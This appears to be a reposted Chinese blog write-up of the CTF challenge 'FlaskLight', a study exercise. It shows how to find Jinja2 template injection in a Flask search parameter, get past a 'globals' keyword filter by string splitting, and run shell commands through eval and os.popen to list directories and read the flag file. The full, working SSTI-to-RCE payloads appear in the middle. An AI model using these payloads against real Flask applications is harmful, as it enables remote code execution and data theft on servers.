IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> Python知识库 -> [CSCCTF 2019 Qual]FlaskLight——直取flag? -> 正文阅读

[Python知识库][CSCCTF 2019 Qual]FlaskLight——直取flag?

[CSCCTF 2019 Qual]FlaskLight

前言

白天一直在上课,晚上赶快躲进图书馆里面打打靶场。这次的题目算是很简单的一道题目了,我做完之后还去看了看其他师傅写的博客,只能感叹一声太强了。我根本就没有考虑这些,就直接去找flag了。

正文

很喜欢这样的题目,在每一步之后出题人都会贴心的留下下一步的线索,不至于做完第一步后,不知道自己在干嘛,甚至是不知道自己第一步做对了没有。打开题目
在这里插入图片描述
出题人让我们用get进行传参,向这个网站里面传一个search进去。我们尝试之后发现这个地方存在SSTI。
请添加图片描述
因为是用flask搭建的网站,所以这里的判断很自然就是jinja2的模板注入。
我们用如下的方式来测试一下python的版本

[].__class__.__mro__[-1].__subclasses__()[40]

请添加图片描述
这里给到我们的信息是该python版本是python2,因为在python3中subclasses()里面是没有type file的。emm,不知道该干嘛了,先去看一下环境变量吧。直接{{config}}(惊了,居然能成功)
请添加图片描述
说实话,config这玩意我是不指望着他能成功的,但是没想到这道题连这个都没过滤。我们看到了出题人给我们的提示,他说flag就在当前的目录下面,也就是说flag与工程文件同处一个文件夹下。
在这里我尝试了很久,服务器总是给我报500的响应码,我推测是有过滤。然后在我一个一个删除关键字后,我发现这道题过滤的是globals。那用字符串拼接过滤试试看
请添加图片描述
这里发现服务器已经可以正常地给我返回信息了,所以说题目里面的waf我们应该是已经绕过去了。
接下来我们用如下payload

{{[].__class__.__bases__[0].__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__(%27os%27).popen(%27dir%27).read()")}}

在这里插入图片描述
我们直接进入工程文件下面列目录

{{[].__class__.__bases__[0].__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__(%27os%27).popen(%27ls /flasklight%27).read()")}}

请添加图片描述
最后cat一下里面的coomme_geeeett_youur_flek

{{[].__class__.__bases__[0].__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__(%27os%27).popen(%27cat /flasklight/coomme_geeeett_youur_flek%27).read()")}}

请添加图片描述

后记

看了其他师傅的文章,有些师傅是通过subprocess.Popen来实现命令执行的,又是一个新姿势。个人感觉这道题还是挺简单的,每条路都能走通,甚至可以不用内建函数__builtins__都行,可以用global里面的os进行RCE。

  Python知识库 最新文章
Python中String模块
【Python】 14-CVS文件操作
python的panda库读写文件
使用Nordic的nrf52840实现蓝牙DFU过程
【Python学习记录】numpy数组用法整理
Python学习笔记
python字符串和列表
python如何从txt文件中解析出有效的数据
Python编程从入门到实践自学/3.1-3.2
python变量
上一篇文章      下一篇文章      查看所有文章
加:2021-11-17 12:43:00  更:2021-11-17 12:43:36 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/16 1:24:14-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码